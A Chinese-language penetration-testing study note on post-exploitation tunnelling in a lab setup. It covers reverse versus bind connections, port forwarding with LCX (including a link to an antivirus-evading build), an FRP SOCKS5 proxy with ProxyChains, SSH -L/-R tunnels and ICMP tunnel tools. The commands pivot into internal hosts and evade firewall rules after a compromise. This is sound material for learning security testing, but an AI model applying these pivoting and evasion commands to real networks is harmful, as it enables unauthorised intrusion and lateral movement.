端口转发和代理

在渗透测试中,在获取目标外网权限后,需要通过转发端口或搭建代理等方式建立内网通道。

正向连接与反向连接

两个基本概念:正向连接和反向连接。例如,Metasploit 大致可以分为两种Meterpreter,一种是以 windows/meterpreter/bind_tcp为代表的 Bind Shell,另一种是以 windows/meterpreter/reverse_tcp 为代表的 Reverse Shell。其中,Bind Shell用于正向连接,而ReverseShell用于反向连接。

  • 正向连接:正向连接就是受控端主机监听一个端口,由控制端主机主动去连接受控端主机的过程,适用于受控主机具有公网IP的情况下。例如下图中,Attacker 和 Victim 主机都具有公网 IP,Attacker 可以直接通过IP地址访问到 Victim,所以能够使用正向连接来控制 Victim。

    image-20240325091556352

  • 反向连接:反向连接是控制端主机监听一个端口,由受控端主机反向去连接控制端主机的过程适用于受控端主机没有公网 IP 的情况。如图所示,Victim 是一台位于内网并且没有公网 IP 的主机,Attacker 无法直接通过IP地址访问到 Victim。所以此时需要在Attacker 上监听一个端口,让 Victim 去反向连接 Attacker,从而实现对 Victim 的控制。

    image-20240325092227731

端口转发

端口转发(Port Forwarding)是网络地址转换(NAT)的一种应用。通过端口转发,一个网络端口上收到的数据可以被转发给另一个网络端口。转发的端口可以是本机的端口,也可以是其他主机上的端口。

在现实环境中,内网部署的各种防火墙和入侵检测设备会检查敏感端口上的连接情况,如果发现连接存在异样,就会立即阻断通信。通过端口转发,设置将这个被检测的敏感端口的数据转发到防火墙允许的端口上,建立起一个通信隧道,可以绕过防火墙的检 测并与指定端口进行通信。

端口映射(Port Mapping)也是网络地址转换(NAT)的一种应用,用于把公网的地址翻译成私有地址。端口映射可以将外网主机收到的请求映射到内网主机上,使得没有公网IP地址的内网主机能够对外提供相应的服务。

SOCKS代理

SOCKS 全称为 Protocol For Sessions Traversal Across Firewall Securely,是一种代理协议,其标准端口为1080。SOCKS代理有SOCKS4和SOCKS5两个版本,SOCKS4只支持 TCP,而 SOCKS5 在SOCKS4的基础上进一步扩展,可以支持 UDP 和各种身份验证机制等协议。采用 SOCKS协议的代理服务器被称为SOCKS服务器,这是一种通用的代理服务器,在网络通信中扮演着一个请求代理人的角色。在内网渗透中,通过搭建SOCKS代理,可以与目标内网主机进行通信,避免多次使用端口转发。

常见转发与代理工具

LCK

LCX是一款十分经典的内网端口转发工具,基于Socket套接字,具有端口转发和端口映射的功能。但是目前很多杀毒软件已经将LCX加入了特征库,在实际利用时需要自行做免杀处理。

这里网上找到了一个免杀处理过的:https://github.com/UndefinedIdentifier/LCX

  1. 目标有公网IP

    如图,假设win_server2012是一台具有公网IP地址的Web服务器。

    image-20240325100613263

    假设此时已经获取了 WindowsServer 2012的控制权,需要登录其远程桌面查看情况,但是防火墙对 3389端口做了限制,不允许外网机器对 3389端口进行连接。那么,通过端口转发,可以将3389端口转发到其他防火墙允许的端口上,如4444端口,执行下面命令即可

    lck.exe -tran 4444 127.0.0.1:3389

    然后通过连接 Windows Server 2012的4444端口,即可成功访问其远程桌面

    rdesktop 192.168.2.13:4444
  2. 端口映射

    测试环境如图所示。右侧的 Web 服务器(Windows Server 2012)有两个网卡分别连通外网和内网,分别为公网 IP(模拟)地址 192.168.2.13 和内网 IP 地址 10.10.10.13。内网还存在一台 MySQL 服务器。左侧的KaliLinux为测试人员的主机。

    假设已经获取 Windows Server 2012的控制权,经过信息收集,获得内网中 MySQL服务器的 SSH 登录凭据,接下来需要登录这台服务器。但是服务器位于内网,无法直接通过 IP 地址进行访问,所以需要通过端口映射,将 MySOL 服务器的 22 端口映射到Windows Server 2012

    image-20240325103859627

    在win_server2012执行下面命令:

    lcx.exe -tran 2222 10.10.10.15 22

    然后连接win_server2012的2222端口,即可访问MySQL服务器

    ssh root@192.168.2.13 -p 2222
  3. 目标无公网IP

    测试环境如图所示。右侧的 Web服务器(Windows Server 2012)没有公网 IP地址,通过 NAT 对外提供 Web 服务,左侧的 Ubuntu 20.04为测试人员的公网 VPS。

    image-20240325105824042

先在vps上执行下面命令监听本地4444端口,并将8888端口上接收到的数据转发给本机的4444端口

./lck -listen 4444 8888

然后在 Windows Seryer 2012上执行以下命令,控制 Windows Server 2012 去连接 VPS的8888端口

lcx.exe -slave 192.168.2.x8888 127.0.0.1 3389

然后连接vps的4444端口即可访问远程桌面

rdesktop 192.168.2.x:4444

FRP

FRP 是一个专注于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS 等协议,可以将内网服务以安全、便捷的方式,通过具有公网 IP 节点的中转暴露到公网。在进行内网渗透中,FRP 是一款常用的隧道工具除此之外,FRP支持搭建SOCKS5代理应用。项目地址:https://github.com/fatedier/frp

最新的frp似乎不再采用frpc.ini和frps.ini配置文件了,而是.toml后缀的文件。

具体使用去看官方的说明。我这里还是用回旧的方便学习

现在利用FRP搭建一个SOCKS5代理

书中的测试环境如下:

image-20240325164452772

书中搭建了三级代理,这里来说一下多级代理的意思

首先控制了WinServer2012这台主机,然后上传frp客户端,攻击者用一台vps作为服务端,这样就可以访问到WinServer2012服务器,此时就构建了一层代理。

然后在WinServer2012起一个frp服务端,上传frp客户端到办公区的服务端,然后再构建一级代理,这样攻击者就能跳两次访问到办公区,这就是二级代理,后面一次类推

这里我只能复现他的一级代理了,没那么多的服务器。我这里用一台kali机器,一台Win7,一台WinServer2012来实验;

Win7有两张网卡,可以连接处于内网的WinServer2012

Win7:

image-20240414104302628

WinServer2012

image-20240414104340318

假设现在已经控制了Win7,我们就可以先搭建一级代理来访问WinServer2012

  1. 使用kali机器作为FRP的服务端,执行下面命令:

    ./frps -c ./frps.ini

    配置文件如下:

    bind_addr = 192.168.172.132 #服务器ip
    bind_port = 7000 # 服务器上绑定的端口

    image-20240414110044664

    可以看到已经成功启动了

  2. 现在使用Win7这台机器进行配置

    然后执行下面命令:

    .\frpc.exe -c .\frpc.ini

    配置文件如下:

    image-20240414110253513

    server_addr指向FRP服务端绑定的IP地址

    server_port指向FRP服务端绑定的端口

    remote_port为代理所使用的端口,会被转发到服务端

    plugin为代理的类型

    image-20240414110339382

现在就成功搭建了一级代理,可以看到socks代理连接成功

image-20240414110437717

看一下攻击机开放的端口

image-20240414112044521

然后,借助第三方工具,可以让计算机的其他应用使用这个 SOCKS5 代理,如ProxyChains、Proxifier 等。这里以 ProxyChains 为例进行演示(ProxyChains 是一款可以在 Linux 下实现全局代理的软件,可以使任何应用程序通过代理上网,允许TCP和 DNS 流量通过代理隧道,支持HTTP、SOCKS4、SOCK5类型代理)。

kali上直接使用下面命令安装即可:

sudo apt install proxychains4

参考文章:https://www.kali.org/tools/proxychains-ng/

安装之后我们可以去配置/etc下的proxychains.conf配置文件设置代理,最开始的socks记得要注释掉,因为是按顺序走代理的。

image-20240414111433628

然后使用下面命令去远程连接WinServer2012,我们想要命令或应用使用代理只需要在最前面加上proxychains4或者proxychains即可

proxychains rdesktop 192.168.30.10

image-20240414114656744

不过一开始经常连接超时,后来直接把防火墙关了就成功了

SSH隧道

参考文章:https://www.cnblogs.com/sfsec/p/15534100.html

在内网中几乎所有的Linux服务器都支持SSH协议,所以SSH隧道也是一种非常常见的隧道技术

一般我们利用SSH客户端去连接服务端命令如下

ssh root@192.168.1.1

下面是搭建SSH隧道常用的参数:

-f:后台运行ssh
-N:安静的建立连接(可以建立连接且看不到会话)
-C:压缩传输,提高传输速度
-g:允许远程主机连接本地用于转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态转发
-p:指定ssh端口

本地转发

借助文章的网络拓扑图

image-20240424232040689

现在的情形就是攻击者能够访问到target1但是访问不到target2,那么我们就利用target1为跳板机,将target2上的流量转发到跳板机上,比如这里转发target2的端口

#ssh -CfNg -L (本地端口):(目标主机ip):(目标主机端口) (跳板机用户名)@(跳板机ip) -p (跳板机端口)
ssh -CfNg -L 6666:192.168.239.129:22 root@192.168.178.142

然后输入target1的密码即可

然后我们用ssh连接6666端口就可以成功连接到target2的ssh服务了

当靶机不出网做不了frp代理的时候可以用ssh隧道本地转发

远程转发

远程转发适用于外网访问不到内网设备,但是内网可以访问到本地的外网VPS设备。

这里以target1为跳板机,将kali的4444端口流量转发到target2的22端口上,然后访问kali的4444端口就可以到达target2的22端口:

ssh -CfNg -R 4444:192.168.239.129:22 root@192.168.178.128  #4444为kali外网VPS端口

然后输入kali的账号密码即可

ICMP隧道

参考文章:https://blog.csdn.net/weixin_44268918/article/details/131069608

这篇文章涵盖了大部分的隧道技术

一些常见协议层的隧道

应用层:SSH隧道、HTTP/S隧道、DNS隧道
传输层:TCP隧道、UDP隧道
网络层:IPv6隧道、ICMP隧道

协议是向下兼容的,如果TCP协议被禁用了,那么基于TCP协议的HTTP/S也用不了了

icmpsh工具

这里用到一个icmpsh工具,GitHub地址:https://github.com/bdamele/icmpsh

pingTunnel工具

项目地址:https://github.com/esrrhs/pingtunnel

该工具做icmp隧道会较为方便